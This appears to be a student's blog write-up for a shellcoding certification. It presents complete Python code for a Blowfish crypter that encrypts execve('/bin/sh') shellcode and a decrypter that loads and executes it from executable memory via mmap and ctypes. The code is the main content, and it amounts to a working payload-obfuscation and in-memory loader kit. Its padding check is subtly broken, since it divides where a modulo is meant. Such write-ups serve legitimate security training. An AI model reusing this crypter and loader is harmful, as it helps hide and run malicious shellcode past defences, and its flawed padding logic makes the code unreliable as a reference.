Shellcoding Linux x86 – Custom Crypter – Assignment 7

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

Before start this assignment, I have to say that this certification supposed some months of hard work but it’s completely worth it. I recommend it to everyone that wants to learn interesting stuff 🙂

Let’s focus in this last assignment, I have to create a custom crypter as the described in the course video.

First of all I needed to choose an algorithm, I never used Blowfish, so I decided to read about it. Blowfish is a symmetric-key block cipher, designed in 1993 by Bruce Schneier.

https://en.wikipedia.org/wiki/Blowfish_(cipher)

Doing a quick research I found this useful module in python language that had everything that I needed.

https://pypi.org/project/blowfish/

So it seems a good idea to select this cypher and also write the tools in python because they can be compiled as an elf if needed.

At this point I had to write 2 files:

  • A crypter: With a cypher key and an IV it has to encrypt the original shellcode.
  • A decrypter: It has to decrypt the shellcode using the cypher key and the IV and has to save it in memory and execute it.

Let’s start for the crypter. To be able to encrypt the original shellcode we need to have blocks of 8 bytes. The first thing that I do, is calculate the length of the shellcode and divide it by 8 and see if it needs some padding. If it needs it, I add the necessary nops 0x90 at the end of the string.

# Padding
rem = scd_len / 8
if rem == 0:
	print ('[+] Shellcode is multiple of 8. No padding needed')
else:
	print ('[+] Shellcode is not multiple of 8. Paddind needed')
	block_number = round(scd_len / 8) +1 
	print ('[+] Number of blocks needed: %d' % block_number)
	padding = 8 * block_number - scd_len
	print ('[+] Padding needed: %d' % padding)
	scd = scd + b'\x90'*padding

Now, that our string its a multiple of 8 we can start encrypting it, we have to setup de cypher key and the IV values:

cipher = blowfish.Cipher(b"xavi")
iv = b'88888888'

And finally do the encryption:

data_encrypted = b"".join(cipher.encrypt_cbc(data, iv))
print ('[+] Blowfish encryption finished:')
print (data_encrypted)

This is the final crypter code:

# Author: Xavi Beltran 
# Date: 13/05/2019

# Modules
import blowfish

# Shellcode
scd = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'
scd_len = len(scd)
print ('[+] Shellcode length is %d' % scd_len)

# Padding
rem = scd_len / 8
if rem == 0:
	print ('[+] Shellcode is multiple of 8. No padding needed')
else:
	print ('[+] Shellcode is not multiple of 8. Paddind needed')
	block_number = round(scd_len / 8) +1 
	print ('[+] Number of blocks needed: %d' % block_number)
	padding = 8 * block_number - scd_len
	print ('[+] Padding needed: %d' % padding)
	scd = scd + b'\x90'*padding


cipher = blowfish.Cipher(b"xavi")
data = scd
iv = b'88888888'
data_encrypted = b"".join(cipher.encrypt_cbc(data, iv))
print ('[+] Blowfish encryption finished:')
print (data_encrypted)

In the image below you can see the original shellcode encrypted.

Our crypter it’s already working. Now I need to code the decrypter, the first step is to decrypt the string and to recover our original shellcode. To do that, we are going to use the same python library.

# Shellcode encrypted
enc_scd = b'\x1fp\x8bq\x0e\xc2\x11|p\x83\x05\x9d\xf4\xc4Y\xf5\x16s\xf5:|+\xc5)\tqV\x84\xbe\xe8X\xc5'

# Decrypt process
cipher = blowfish.Cipher(b"xavi")
data_encrypted = enc_scd
iv = b'88888888'
data_decrypted = b"".join(cipher.decrypt_cbc(data_encrypted, iv))
print ('[+] Blowfish decryption finished:')
print (data_decrypted)

We already recovered our original shellcode but know what we have to do? When I was doing this part of the code I thought that it was a going to be really difficult, but in fact its not so complex.

We are going to use python Memory-mapped. We create a piece of executable memory in python and write our shell-code into this memory.

mm = mmap.mmap(-1, len(data_decrypted), flags=mmap.MAP_SHARED | mmap.MAP_ANONYMOUS, prot=mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)
mm.write(data_decrypted)

And we obtain the address of the memory and create a C Function Pointer using ctypes and this address.

restype = ctypes.c_int64
argtypes = tuple()
ctypes_buffer = ctypes.c_int.from_buffer(mm)
function = ctypes.CFUNCTYPE(restype, *argtypes)(ctypes.addressof(ctypes_buffer))
function()

The final code for the decrypter is the following one:

# Author: Xavi Beltran
# Date: 13/05/2019

# Modules
import blowfish
import mmap
import ctypes

# Shellcode encrypted
enc_scd = b'\x1fp\x8bq\x0e\xc2\x11|p\x83\x05\x9d\xf4\xc4Y\xf5\x16s\xf5:|+\xc5)\tqV\x84\xbe\xe8X\xc5'

# Decrypt process
cipher = blowfish.Cipher(b"xavi")
data_encrypted = enc_scd
iv = b'88888888'
data_decrypted = b"".join(cipher.decrypt_cbc(data_encrypted, iv))
print ('[+] Blowfish decryption finished:')
print (data_decrypted)

# Shellcode Execution
# We create a piece of executable memory in python and write our shell-code into this memory
mm = mmap.mmap(-1, len(data_decrypted), flags=mmap.MAP_SHARED | mmap.MAP_ANONYMOUS, prot=mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)
mm.write(data_decrypted)
# We obtain the address of the memory and create a C Function Pointer using ctypes and this address 
restype = ctypes.c_int64
argtypes = tuple()
ctypes_buffer = ctypes.c_int.from_buffer(mm)
function = ctypes.CFUNCTYPE(restype, *argtypes)(ctypes.addressof(ctypes_buffer))
function()

And here you can see the decrypter working!

As for the other assignments, you can read all the code in my Github account:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment7

And here ends the SLAE course. I have learnt a lot of interesting stuff. See you soon! 🙂

This entry was posted in Exploiting and tagged , , , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published.